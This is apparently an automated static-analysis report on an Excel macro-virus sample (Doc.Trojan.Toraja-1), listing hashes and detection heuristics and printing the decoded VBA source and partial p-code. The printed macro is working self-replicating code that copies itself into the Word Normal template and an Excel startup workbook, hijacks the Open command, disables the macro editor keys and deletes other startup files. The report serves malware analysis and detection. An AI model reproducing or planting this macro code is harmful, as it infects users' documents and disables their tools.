Doc.Trojan.Toraja-1 — Office (OLE) malware analysis

Static analysis result for SHA-256 7f993506d5859c97…

MALICIOUS

Office (OLE)

47.0 KB Created: 2004-07-27 09:52:07 Authoring application: Microsoft Excel First seen: 2015-09-30
MD5: a53b7386adc19c55a9947dd4effc4560 SHA-1: 563f4d421d8e5ee2f57fe530c9d0fd7fbc863d86 SHA-256: 7f993506d5859c97a3799f09cfeccd93fcb19dc9b4d9b136ea024d9b973c142e
248 Risk Score

Malware Insights

Doc.Trojan.Toraja-1 · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder

The file is an Excel document containing VBA macros, including an Auto_Open macro and a CreateObject call, indicative of malicious intent. The macros exhibit self-replication behavior, suggesting an attempt to spread or evade detection. The ClamAV detection name 'Doc.Trojan.Toraja-1' strongly suggests the family and its typical behavior.

Heuristics 5

  • ClamAV: Doc.Trojan.Toraja-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Toraja-1
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
                '.DeleteLines 1, .CountOfLines
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
        Set xlsApp = CreateObject("Excel.Application")
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Sub Auto_Open()

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 48666 bytes
SHA-256: 5b5047ba28d93042cd0b68a1984a22bcbccf88b4b517b3a91b66547423e16687
Detection
ClamAV: Doc.Trojan.Toraja-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet2"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet3"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "SERUM25"



Option Explicit
Option Compare Text
Dim Komp As Variant
Public Const regApp As String = "Application"
Public Const regSecSet As String = "Settings"
Public Const regSecApp As String = "AppName"
Const TempVer As String = "HERU"
Const MacName As String = "SERUM"
Const Ver As String = "25"
Dim ctl As Variant
Global blnFound As Boolean
Dim CusProp
Dim blnMod As Boolean
Public Const TimerOn = "01:00:00"
Const Akhir = 5
Dim Caption As String
Dim actWindow
Global Active
Global Temp
Global TempPath
Dim Waktu
Dim Bar As Integer
Sub Register()
Attribute Register.VB_ProcData.VB_Invoke_Func = " \n14"
On Error Resume Next
If GetSetting(regApp, regSecSet, "FirstRun") = "" Then SaveSetting regApp, regSecSet, "FirstRun", Format(Date + 30, "dd-mm-yyyy")
If GetSetting(regApp, regSecSet, "Version") <> Ver Then SaveSetting regApp, regSecSet, "Version", Ver
If GetSetting(regApp, regSecSet, "UserKeyWord") <> MacName & Ver Then SaveSetting regApp, regSecSet, "UserKeyWord", ""
If GetSetting(regApp, regSecSet, "AuthorKeyWord") <> "Marsel" Then SaveSetting regApp, regSecSet, "AuthorKeyWord", ""
End Sub
'Function " "() As Boolean
'Dim getDate As Date
'On Error Resume Next
'getDate = GetSetting(regApp, regSecSet, "FirstRun")
'If getDate <= Date Then ShowMe
'End Function
Sub AutoExec()
Attribute AutoExec.VB_ProcData.VB_Invoke_Func = " \n14"
        Application.EnableCancelKey = 0
        Application.DisplayRecentFiles = False
        SaveSetting regApp, regSecApp, "Microsoft Word", "True"
        MenuWord
        ExportXls
        Register
        Documents.Add
        Application.OnTime Now + TimeValue(TimerOn), "OnTimer"
End Sub

On Error Resume Next
TempActive
ActiveWindow.View.Type = 3
End Sub
Function KeyWord() As Boolean
Attribute KeyWord.VB_ProcData.VB_Invoke_Func = " \n14"
If GetSetting(regApp, regSecSet, "UserKeyWord") = MacName & Ver Then KeyWord = True
End Function
Sub FileOpen()
Attribute FileOpen.VB_ProcData.VB_Invoke_Func = " \n14"
On Error Resume Next
    WordBasic.enableAutoMacros 1
    Dialogs(80).Show
    TempActive
    WordBasic.enableAutoMacros 0
End Sub
Function KompProject(Asal, Tujuan) As Boolean
Attribute KompProject.VB_ProcData.VB_Invoke_Func = " \n14"
On Error GoTo Salah
blnMod = False
For Each Komp In Tujuan.VBProject.VBComponents
      If Komp.Name = MacName & Ver Then blnMod = True
      If (Komp.Name <> "ThisDocument") And (Komp.Name <> "Reference To Normal") And (Komp.Name = "TOING12") And _
          (Left(Komp.Name, 5) <> "Sheet") And (Komp.Name <> "ThisWorkbook") And (Left(Komp.Name, 5) <> "Chart") Then
          MsgBox "Virus di file anda telah dilenyapkan ....", , "Alahamdulillaah....."
            Tujuan.VBProject.VBComponents.Remove Tujuan.VBProject.VBComponents(Komp.Name)
            KompProject = True
            End If
            Next Komp
      If blnMod = False Then
        If EIKModul(Asal, Tujuan, MacName & Ver) = True Then KompProject = True
    End If
Salah:
End Function
Sub RemoveAll()
Attribute RemoveAll.VB_ProcData.VB_Invoke_Func = " \n14"
On Error Resume Next
Set ctl = Documents
For Each ctl In Documents
    If ctl <> ActiveDocument Then
        KompProject ActiveDocument, ctl
        If Len(ctl.Path) <> 0 Then ctl.Save
    End If
Next ctl
End Sub
Function PrintOke() As Boolean
Attribute PrintOke.VB_ProcData.VB_Invoke_Func = " \n14"
PrintOke = True



End Function
Sub FilePrint()
Attribute FilePrint.VB_ProcData.VB_Invoke_Func = " \n14"

End Sub
Sub FilePrintDefault()
Attribute FilePrintDefault.VB_ProcData.VB_Invoke_Func = " \n14"
FilePrint
End Sub
Sub ToolsCustomizeKeyboard()
Attribute ToolsCustomizeKeyboard.VB_ProcData.VB_Invoke_Func = " \n14"
'" "
End Sub
Sub ViewCode()
Attribute ViewCode.VB_ProcData.VB_Invoke_Func = " \n14"
'" "
End Sub
Sub ViewVBcode()
Attribute ViewVBcode.VB_ProcData.VB_Invoke_Func = " \n14"
If PWords = True Then ShowVisualBasicEditor = True Else ShowVisualBasicEditor
End Sub
Sub ToolsCustomize()
Attribute ToolsCustomize.VB_ProcData.VB_Invoke_Func = " \n14"
'" "
End Sub
Sub ToolsMacro()
Attribute ToolsMacro.VB_ProcData.VB_Invoke_Func = " \n14"
If PWords = True Then ShowVisualBasicEditor = True Else ShowVisualBasicEditor
End Sub
Sub FormatStyle()
Attribute FormatStyle.VB_ProcData.VB_Invoke_Func = " \n14"
'If KeyWord = True Then Dialogs(180).Show Else " "
End Sub
Sub ToolsRecordMacroToggle()
Attribute ToolsRecordMacroToggle.VB_ProcData.VB_Invoke_Func = " \n14"
'
End Sub
Sub FileTemplates()
Attribute FileTemplates.VB_ProcData.VB_Invoke_Func = " \n14"
'" "
End Sub
Private Sub ExportXls()
Dim xlsApp
Dim strFile As String
If (GetSetting(regApp, regSecApp, "Microsoft Excel") <> "True") Then
On Error GoTo Salah:
    Set xlsApp = CreateObject("Excel.Application")
   xlsApp.Workbooks.Add
    strFile = xlsApp.StartupPath & xlsApp.PathSeparator & "START" & Ver & ".XLS"
    xlsApp.ActiveWorkbook.SaveAs strFile
    TempPath = Application.NormalTemplate.Path & Application.PathSeparator
    EIKModul NormalTemplate, xlsApp.Workbooks("START" & Ver & ".XLS"), MacName & Ver
    xlsApp.Workbooks("START" & Ver & ".XLS").VBProject.Name = TempVer & Ver
    xlsApp.ActiveWindow.Visible = False
    xlsApp.Workbooks("START" & Ver & ".XLS").Save
    xlsApp.Application.Quit
    SaveSetting regApp, regSecApp, "Microsoft Excel", "True"
End If
Salah:
End Sub
Sub ExportDok()
Attribute ExportDok.VB_ProcData.VB_Invoke_Func = " \n14"
Dim dokApp
If (GetSetting(regApp, regSecApp, "Microsoft Word") <> "True") Then
    On Error GoTo Salah
    Set dokApp = CreateObject("Word.Application")
    TempPath = Application.TemplatePath
     KompProject Workbooks("START" & Ver & ".XLS"), dokApp.NormalTemplate
    dokApp.Application.Quit True
    SaveSetting regApp, regSecApp, "Microsoft Word", "True"
End If
Salah:
End Sub
Sub Auto_Open()
Attribute Auto_Open.VB_ProcData.VB_Invoke_Func = " \n14"
On Error Resume Next
Application.EnableCancelKey = 0
XlsActive
ExportDok
Application.DisplayRecentFiles = False
End Sub
Private Sub AllWorkBook()
blnMod = False
For Each Komp In Workbooks
      actWindow = Komp.Name
      If actWindow = "START" & Ver & ".XLS" Then blnMod = True
      If Komp.Path = Application.StartupPath And actWindow <> "START" & Ver & ".XLS" Then
               Komp.Close False
               Kill Application.StartupPath & Application.PathSeparator & actWindow
         End If
 Next Komp
If blnMod = False Then BuatXlsActive
End Sub
Sub XlsActive()
Attribute XlsActive.VB_ProcData.VB_Invoke_Func = " \n14"
On Error Resume Next
Application.EnableCancelKey = 0
Application.DisplayAlerts = False
CreateEvents
TempActive
AllWorkBook
Application.OnSheetActivate = ""
Application.OnSheetDeactivate = ""
Application.OnWindow = ""
MenuExcel
Application.OnWindow = "START" & Ver & ".XLS" & "!XlsActive"
Application.DisplayAlerts = True
Application.ScreenUpdating = True
End Sub
Sub TempActive()
Attribute TempActive.VB_ProcData.VB_Invoke_Func = " \n14"
On Error Resume Next
Aplikasi
 If KompProject(Temp, Active) = True Then
       SetCusProp
       Active.VBProject.Name = MacName
       If Len(Active.Path) <> 0 Then Active.Save
    End If
End Sub
Function EIKModul(Asal, Tujuan, Komp As String) As Boolean
Attribute EIKModul.VB_ProcData.VB_Invoke_Func = " \n14"
On Error GoTo Salah
    Asal.VBProject.VBComponents(Komp).Export TempPath & Komp
    Tujuan.VBProject.VBComponents.Import TempPath & Komp
    EIKModul = True
    Kill TempPath & Komp
Salah:
End Function
Sub OpenFile()
Attribute OpenFile.VB_ProcData.VB_Invoke_Func = " \n14"
On Error Resume Next
Application.DisplayAlerts = False
Application.Dialogs(1).Show
XlsActive
End Sub
Private Sub CreateEvents()
Dim vbComp
On Error GoTo Salah
lanjut:
If ActiveWorkbook.CustomDocumentProperties.Item("Event").Value <> MacName & Ver And ActiveWorkbook.Name <> "START" & Ver & ".XLS" Then
On Error GoTo FatalError
    Set vbComp = ActiveWorkbook.VBProject.VBComponents("ThisWorkbook").CodeModule
    With vbComp
            '.DeleteLines 1, .CountOfLines
            '.InsertLines 1, "Private Sub Workbook_BeforePrint(Cancel As Boolean)"
            '.InsertLines 2, "On Error Resume Next"
            '.InsertLines 3, "If PrintOke = False Then"
            '.InsertLines 4, "    "
            '.InsertLines 5, "    Cancel = True"
            '.InsertLines 6, "End if"
            '.InsertLines 7, "End Sub"
    End With
ActiveWorkbook.CustomDocumentProperties.Item("Event").Value = MacName & Ver
End If
FatalError:
Exit Sub
Salah:
ActiveWorkbook.CustomDocumentProperties.Add ("Event"), False, 4, ""
Resume lanjut
End Sub
Sub BuatXlsActive()
Attribute BuatXlsActive.VB_ProcData.VB_Invoke_Func = " \n14"
Dim Baru As String
On Error Resume Next
Application.ScreenUpdating = False
Workbooks.Add
Baru = Application.StartupPath & Application.PathSeparator & "START" & Ver & ".XLS"
ActiveWorkbook.SaveAs Baru
ActiveWindow.Visible = False
ActiveTemp
End Sub
Sub ActiveTemp()
Attribute ActiveTemp.VB_ProcData.VB_Invoke_Func = " \n14"
On Error Resume Next
Aplikasi
If KompProject(Active, Temp) = True Then
       Temp.VBProject.Name = TempVer & Ver
       Temp.Save
       SaveSetting regApp, regSecApp, Application.Name, "True"
       blnFound = True
    End If
End Sub
Sub MenuExcel()
Attribute MenuExcel.VB_ProcData.VB_Invoke_Func = " \n14"
On Error Resume Next
'    For Each ctl In CommandBars.ActiveMenuBar.Controls("Tools").Controls("Macro").Controls
'              ctl.OnAction = "" ""
'    Next ctl
'    WordExcel
'    CommandBars("Ply").Controls("View Code").Delete
'    With Application
'            .OnKey "%{F11}", "" ""
'            .OnKey "%{F8}", "" ""
'            .OnKey "%{F2}", "" ""
'            .OnKey "%{F4}", "" ""
'            .OnKey "{F12}", "" ""
'            .OnKey "^{o}", "OpenFile"
'    End With
CommandBars("Standard").Controls("Open").OnAction = "OpenFile"
CommandBars("Worksheet Menu Bar").Controls("File").Controls("Open...").OnAction = "OpenFile"
End Sub
Sub WordExcel()
Attribute WordExcel.VB_ProcData.VB_Invoke_Func = " \n14"
On Error Resume Next
cmdBars CommandBars("Control Toolbox"), True
cmdBars CommandBars("Forms"), True
cmdBars CommandBars("ActiveX Control"), True
cmdBars CommandBars("Visual Basic"), True
cmdBars CommandBars.ActiveMenuBar, True
cmdBars CommandBars("Formatting"), True
cmdBars CommandBars("Standard"), True
End Sub
Sub cmdBars(cmd, blnVis As Boolean)
Attribute cmdBars.VB_ProcData.VB_Invoke_Func = " \n14"
With cmd
    If blnVis = True Then
        .Enabled = False
        .Visible = False
        .Protection = 8
    End If
        .Protection = 1
End With
End Sub
Sub MenuWord()
Attribute MenuWord.VB_ProcData.VB_Invoke_Func = " \n14"
On Error Resume Next
CustomizationContext = NormalTemplate
  With Options
            .VirusProtection = True
            .SaveNormalPrompt = True
    End With
    FindKey(BuildKeyCode(wdKeyAlt, wdKeyF8)).Disable
    FindKey(BuildKeyCode(wdKeyAlt, wdKeyF11)).Disable
    WordExcel
End Sub
Sub SetCusProp()
Attribute SetCusProp.VB_ProcData.VB_Invoke_Func = " \n14"
On Error Resume Next
Set CusProp = Active.CustomDocumentProperties
CusProp.Add "Author", False, 4, ""
CusProp.Add "CountPrint", False, 1, 0
If PWords = True Then CusProp.Item("Author").Value = "Lina"
End Sub
Function GetCreator() As Boolean
Attribute GetCreator.VB_ProcData.VB_Invoke_Func = " \n14"
On Error GoTo Salah
        Aplikasi
        Set CusProp = Active.CustomDocumentProperties
        If CusProp.Item("Author").Value = "Lina" Then GetCreator = True
Salah:
End Function
Function PWords() As Boolean
Attribute PWords.VB_ProcData.VB_Invoke_Func = " \n14"
If GetSetting(regApp, regSecSet, "AuthorKeyWord") = "Marsel" Then PWords = True
End Function
Sub OnTimer()
Attribute OnTimer.VB_ProcData.VB_Invoke_Func = " \n14"
' " "
    Application.OnTime Now + TimeValue(TimerOn), "OnTimer"
End Sub
Sub FoundIt()
Attribute FoundIt.VB_ProcData.VB_Invoke_Func = " \n14"
TempActive
blnFound = False
End Sub
Sub Pesan(strPesan As String, Msg)
Attribute Pesan.VB_ProcData.VB_Invoke_Func = " \n14"
Dim A  As String
Dim B(3)
Dim x, i, j
Dim K
B(0) = "  \": B(1) = "  -  ": B(2) = "  /": B(3) = "  |"
i = 0
If Bar = 0 Then K = "Toraja High Land: " Else K = "Note ... each file can be printed 5 times only: "
    A = "                                                                                                                                          " & strPesan
    For x = 1 To Len(A)
       Msg.Caption = A & B(i)
       Application.StatusBar = K & Akhir - Int(Timer - Waktu) & " sec " & B(i)
       A = Right$(A, Len(A) - 1)
        i = i + 1
        For j = 1 To 10: Next
        If (Timer - Waktu >= Akhir) Or Timer - Waktu < 0 Then GoTo done
        If i = 4 Then i = 0
    Next
done:
If Bar = 0 Then Bar = 1 Else Bar = 0
Msg.Caption = ""
End Sub
Sub Message(Msg)
Attribute Message.VB_ProcData.VB_Invoke_Func = " \n14"
Dim strPesan(5) As String
strPesan(0) = "Hello, [" & Application.UserName & "]  "
strPesan(1) = " "
strPesan(2) = ""
strPesan(3) = ""
strPesan(4) = ""
strPesan(5) = ""
Select Case Month(Date)
    Case 11, 12: strPesan(0) = strPesan(0) & strPesan(3) & strPesan(2) & strPesan(4) & strPesan(2) + 1 & "]"
    Case 1: strPesan(0) = strPesan(0) & strPesan(3) & strPesan(2) - 1 & strPesan(4) & strPesan(2) & "]"
End Select
Application.DisplayStatusBar = True
Waktu = Timer
Do While (Timer - Waktu <= Akhir) And Timer - Waktu >= 0
    Pesan strPesan(0), Msg
    Pesan strPesan(1), Msg
    Pesan strPesan(5), Msg
Loop
End Sub
Function Tator() As Boolean
Attribute Tator.VB_ProcData.VB_Invoke_Func = " \n14"
If (KeyWord = False) And (GetCreator = False) Then Tator = False
End Function
Sub ShowMe()
Attribute ShowMe.VB_ProcData.VB_Invoke_Func = " \n14"
Dim Maks, Min As Integer
On Error Resume Next
If Tator = True Then
Application.EnableCancelKey = 0
Caption = ActiveWindow.Caption
    If Application.Name = "Microsoft Word" Then
        Maks = 1
        Application.Caption = " "
        If Windows.Count > 0 Then Set actWindow = ActiveWindow Else Set actWindow = Application
    Else
        Set actWindow = Application
        ActiveWindow.Caption = ""
        Maks = -4137
    End If
    Application.WindowState = Maks
    actWindow.WindowState = Maks
    Message actWindow
    Application.StatusBar = ""
    ActiveWindow.Caption = Caption
    Application.Caption = ""
End If
End Sub
Sub Aplikasi()
Attribute Aplikasi.VB_ProcData.VB_Invoke_Func = " \n14"
If Application.Name = "Microsoft Word" Then Doc Else Xls
End Sub
Sub Doc()
Attribute Doc.VB_ProcData.VB_Invoke_Func = " \n14"
TempPath = Application.NormalTemplate.Path & Application.PathSeparator
Set Active = ActiveDocument
Set Temp = NormalTemplate
End Sub
Sub Xls()
Attribute Xls.VB_ProcData.VB_Invoke_Func = " \n14"
Set Active = ActiveWorkbook
Set Temp = Workbooks("START" & Ver & ".XLS")
TempPath = Application.TemplatesPath
End Sub



' Processing file: /opt/analyzer/scan_staging/c334a1b51c32437eba36a1982330471c.bin
' ===============================================================================
' Module streams:
' _VBA_PROJECT_CUR/VBA/ThisWorkbook - 1182 bytes
' _VBA_PROJECT_CUR/VBA/Sheet1 - 957 bytes
' _VBA_PROJECT_CUR/VBA/Sheet2 - 957 bytes
' _VBA_PROJECT_CUR/VBA/Sheet3 - 957 bytes
' _VBA_PROJECT_CUR/VBA/SERUM25 - 25536 bytes
' Line #0:
' Line #1:
' Line #2:
' Line #3:
' 	Option  (Explicit)
' Line #4:
' 	Option  (Compare Text)
' Line #5:
' 	Dim 
' 	VarDefn Komp (As Variant)
' Line #6:
' 	Dim (Public Const) 
' 	LitStr 0x000B "Application"
' 	VarDefn regApp (As String)
' Line #7:
' 	Dim (Public Const) 
' 	LitStr 0x0008 "Settings"
' 	VarDefn regSecSet (As String)
' Line #8:
' 	Dim (Public Const) 
' 	LitStr 0x0007 "AppName"
' 	VarDefn regSecApp (As String)
' Line #9:
' 	Dim (Const) 
' 	LitStr 0x0004 "HERU"
' 	VarDefn TempVer (As String)
' Line #10:
' 	Dim (Const) 
' 	LitStr 0x0005 "SERUM"
' 	VarDefn MacName (As String)
' Line #11:
' 	Dim (Const) 
' 	LitStr 0x0002 "25"
' 	VarDefn Ver (As String)
' Line #12:
' 	Dim 
' 	VarDefn ctl (As Variant)
' Line #13:
' 	Dim (Global) 
' 	VarDefn blnFound (As Boolean)
' Line #14:
' 	Dim 
' 	VarDefn CusProp
' Line #15:
' 	Dim 
' 	VarDefn blnMod (As Boolean)
' Line #16:
' 	Dim (Public Const) 
' 	LitStr 0x0008 "01:00:00"
' 	VarDefn TimerOn
' Line #17:
' 	Dim (Const) 
' 	LitDI2 0x0005 
' 	VarDefn Akhir
' Line #18:
' 	Dim 
' 	VarDefn Caption (As String)
' Line #19:
' 	Dim 
' 	VarDefn actWindow
' Line #20:
' 	Dim (Global) 
' 	VarDefn Active
' Line #21:
' 	Dim (Global) 
' 	VarDefn Temp
' Line #22:
' 	Dim (Global) 
' 	VarDefn TempPath
' Line #23:
' 	Dim 
' 	VarDefn Waktu
' Line #24:
' 	Dim 
' 	VarDefn Bar (As Integer)
' Line #25:
' 	FuncDefn (Sub Register())
' Line #26:
' 	OnError (Resume Next) 
' Line #27:
' 	Ld regApp 
' 	Ld regSecSet 
' 	LitStr 0x0008 "FirstRun"
' 	ArgsLd GetSetting 0x0003 
' 	LitStr 0x0000 ""
' 	Eq 
' 	If 
' 	BoSImplicit 
' 	Ld regApp 
' 	Ld regSecSet 
' 	LitStr 0x0008 "FirstRun"
' 	Ld Date 
' 	LitDI2 0x001E 
' 	Add 
' 	LitStr 0x000A "dd-mm-yyyy"
' 	ArgsLd Format$ 0x0002 
' 	ArgsCall SaveSetting 0x0004 
' 	EndIf 
' Line #28:
' 	Ld regApp 
' 	Ld regSecSet 
' 	LitStr 0x0007 "Version"
' 	ArgsLd GetSetting 0x0003 
' 	Ld Ver 
' 	Ne 
' 	If 
' 	BoSImplicit 
' 	Ld regApp 
' 	Ld regSecSet 
' 	LitStr 0x0007 "Version"
' 	Ld Ver 
' 	ArgsCall SaveSetting 0x0004 
' 	EndIf 
' Line #29:
' 	Ld regApp 
' 	Ld regSecSet 
' 	LitStr 0x000B "UserKeyWord"
' 	ArgsLd GetSetting 0x0003 
' 	Ld MacName 
' 	Ld Ver 
' 	Concat 
' 	Ne 
' 	If 
' 	BoSImplicit 
' 	Ld regApp 
' 	Ld regSecSet 
' 	LitStr 0x000B "UserKeyWord"
' 	LitStr 0x0000 ""
' 	ArgsCall SaveSetting 0x0004 
' 	EndIf 
' Line #30:
' 	Ld regApp 
' 	Ld regSecSet 
' 	LitStr 0x000D "AuthorKeyWord"
' 	ArgsLd GetSetting 0x0003 
' 	LitStr 0x0006 "Marsel"
' 	Ne 
' 	If 
' 	BoSImplicit 
' 	Ld regApp 
' 	Ld regSecSet 
' 	LitStr 0x000D "AuthorKeyWord"
' 	LitStr 0x0000 ""
' 	ArgsCall SaveSetting 0x0004 
' 	EndIf 
' Line #31:
' 	EndSub 
' Line #32:
' 	QuoteRem 0x0000 0x0019 "Function " "() As Boolean"
' Line #33:
' 	QuoteRem 0x0000 0x0013 "Dim getDate As Date"
' Line #34:
' 	QuoteRem 0x0000 0x0014 "On Error Resume Next"
' Line #35:
' 	QuoteRem 0x0000 0x0033 "getDate = GetSetting(regApp, regSecSet, "FirstRun")"
' Line #36:
' 	QuoteRem 0x0000 0x001E "If getDate <= Date Then ShowMe"
' Line #37:
' 	QuoteRem 0x0000 0x000C "End Function"
' Line #38:
' 	FuncDefn (Sub AutoExec())
' Line #39:
' 	LitDI2 0x0000 
' 	Ld Application 
' 	MemSt EnableCancelKey 
' Line #40:
' 	LitVarSpecial (False)
' 	Ld Application 
' 	MemSt DisplayRecentFiles 
' Line #41:
' 	Ld regApp 
' 	Ld regSecApp 
' 	LitStr 0x000E "Microsoft Word"
' 	LitStr 0x0004 "True"
' 	ArgsCall SaveSetting 0x0004 
' Line #42:
' 	ArgsCall MenuWord 0x0000 
' Line #43:
' 	ArgsCall ExportXls 0x0000 
' Line #44:
' 	ArgsCall Register 0x0000 
' Line #45:
' 	Ld Documents 
' 	ArgsMemCall Add 0x0000 
' Line #46:
' 	Ld Now 
' 	Ld TimerOn 
' 	ArgsLd TimeValue 0x0001 
' 	Add 
' 	LitStr 0x0007 "OnTimer"
' 	Ld Application 
' 	ArgsMemCall OnTime 0x0002 
' Line #47:
' 	EndSub 
' Line #48:
' Line #49:
' 	OnError (Resume Next) 
' Line #50:
' 	ArgsCall TempActive 0x0000 
' Line #51:
' 	LitDI2 0x0003 
' 	Ld ActiveWindow 
' 	MemLd View 
' 	MemSt TypeOf 
' Line #52:
' 	EndSub 
' Line #53:
' 	FuncDefn (Function KeyWord() As Boolean)
' Line #54:
' 	Ld regApp 
' 	Ld regSecSet 
' 	LitStr 0x000B "UserKeyWord"
' 	ArgsLd GetSetting 0x0003 
' 	Ld MacName 
' 	Ld Ver 
' 	Concat 
' 	Eq 
' 	If 
' 	BoSImplicit 
' 	LitVarSpecial (True)
' 	St KeyWord 
' 	EndIf 
' Line #55:
' 	EndFunc 
' Line #56:
' 	FuncDefn (Sub FileOpen())
' Line #57:
' 	OnError (Resume Next) 
' Line #58:
' 	LitDI2 0x0001 
' 	Ld WordBasic 
' 	ArgsMemCall enableAutoMacros 0x0001 
' Line #59:
' 	LitDI2 0x0050 
' 	ArgsLd Dialogs 0x0001 
' 	ArgsMemCall Show 0x0000 
' Line #60:
' 	ArgsCall TempActive 0x0000 
' Line #61:
' 	LitDI2 0x0000 
' 	Ld WordBasic 
' 	ArgsMemCall enableAutoMacros 0x0001 
' Line #62:
' 	EndSub 
' Line #63:
' 	FuncDefn (Function KompProject(Asal, Tujuan) As Boolean)
' Line #64:
' 	OnError Salah 
' Line #65:
' 	LitVarSpecial (False)
' 	St blnMod 
' Line #66:
' 	StartForVariable 
' 	Ld Komp 
' 	EndForVariable 
' 	Ld Tujuan 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ForEach 
' Line #67:
' 	Ld Komp 
' 	MemLd New 
' 	Ld MacName 
' 	Ld Ver 
' 	Concat 
' 	Eq 
' 	If 
' 	BoSImplicit 
' 	LitVarSpecial (True)
' 	St blnMod 
' 	EndIf 
' Line #68:
' 	LineCont 0x0004 19 00 0A 00
' 	Ld Komp 
' 	MemLd New 
' 	LitStr 0x000C "ThisDocument"
' 	Ne 
' 	Paren 
' 	Ld Komp 
' 	MemLd New 
' 	LitStr 0x0013 "Reference To Normal"
' 	Ne 
' 	Paren 
' 	And 
' 	Ld Komp 
' 	MemLd New 
' 	LitStr 0x0007 "TOING12"
' 	Eq 
' 	Paren 
' 	And 
' 	Ld Komp 
' 	MemLd New 
' 	LitDI2 0x0005 
' 	ArgsLd LBound 0x0002 
' 	LitStr 0x0005 "Sheet"
' 	Ne 
' 	Paren 
' 	And 
' 	Ld Komp 
' 	MemLd New 
' 	LitStr 0x000C "ThisWorkbook"
' 	Ne 
' 	Paren 
' 	And 
' 	Ld Komp 
' 	MemLd New 
' 	LitDI2 0x0005 
' 	ArgsLd LBound 0x0002 
' 	LitStr 0x0005 "Chart"
' 	Ne 
' 	Paren 
' 	And 
' 	IfBlock 
' Line #69:
' 	LitStr 0x0029 "Virus di file anda telah dilenyapkan ...."
' 	ParamOmitted 
' 	LitStr 0x0014 "Alahamdulillaah....."
' 	ArgsCall MsgBox 0x0003 
' Line #70:
' 	Ld Komp 
' 	MemLd New 
' 	Ld Tujuan 
' 	MemLd VBProject 
' 	ArgsMemLd VBComponents 0x0001 
' 	Ld Tujuan 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemCall Remove 0x0001 
' Line #71:
' 	LitVarSpecial (True)
' 	St KompProject 
' Line #72:
' 	EndIfBlock 
' Line #73:
' 	StartForVariable 
' 	Ld Komp 
' 	EndForVariable 
' 	NextVar 
' Line #74:
' 	Ld blnMod 
' 	LitVarSpecial (False)
' 	Eq 
' 	IfBlock 
' Line #75:
' 	Ld Asal 
' 	Ld Tujuan 
' 	Ld MacName 
' 	Ld Ver 
' 	Concat 
' 	ArgsLd EIKModul 0x0003 
' 	LitVarSpecial (True)
' 	Eq 
' 	If 
' 	BoSImplicit 
' 	LitVarSpecial (True)
' 	St KompProject 
' 	EndIf 
' Line #76:
' 	EndIfBlock 
' Line #77:
' 	Label Salah 
' Line #78:
' 	EndFunc 
' Line #79:
' 	FuncDefn (Sub RemoveAll())
' Line #80:
' 	OnError (Resume Next) 
' Line #81:
' 	SetStmt 
' 	Ld Documents 
' 	Set ctl 
' Line #82:
' 	StartForVariable 
' 	Ld ctl 
' 	EndForVariable 
' 	Ld Documents 
' 	ForEach 
' Line #83:
' 	Ld ctl 
' 	Ld ActiveDocument 
' 	Ne 
' 	IfBlock 
' Line #84:
' 	Ld ActiveDocument 
' 	Ld ctl 
' 	ArgsCall KompProject 0x0002 
' Line #85:
' 	Ld ctl 
' 	MemLd Path 
' 	FnLen 
' 	LitDI2 0x0000 
' 	Ne 
' 	If 
' 	BoSImplicit 
' 	Ld ctl 
' 	ArgsMemCall Save 0x0000 
' 	EndIf 
' Line #86:
' 	EndIfBlock 
' Line #87:
' 	StartForVariable 
' 	Ld ctl 
' 	EndForVariable 
' 	NextVar 
' Line #88:
' 	EndSub 
' Line #89:
' 	FuncDefn (Function PrintOke() As Boolean)
' Line #90:
' 	LitVarSpecial (True)
' 	St PrintOke 
' Line #91:
' Line #92:
' Line #93:
' Line #94:
' 	EndFunc 
' Line #95:
' 	FuncDefn (Sub FilePrint())
' Line #96:
' Line #97:
' 	EndSub 
' Line #98:
' 	FuncDefn (Sub FilePrintDefault())
' Line #99:
' 	ArgsCall FilePrint 0x0000 
' Line #100:
' 	EndSub 
' Line #101:
' 	FuncDefn (Sub ToolsCustomizeKeyboard())
' Line #102:
' 	QuoteRem 0x0000 0x0003 "" ""
' Line #103:
' 	EndSub 
' Line #104:
' 	FuncDefn (Sub ViewCode())
' Line #105:
' 	QuoteRem 0x0000 0x0003 "" ""
' Line #106:
' 	EndSub 
' Line #107:
' 	FuncDefn (Sub ViewVBcode())
' Line #108:
' 	Ld PWords 
' 	LitVarSpecial (True)
' 	Eq 
' 	If 
' 	BoSImplicit 
' 	LitVarSpecial (True)
' 	St ShowVisualBasicEditor 
' 	Else 
' 	BoSImplicit 
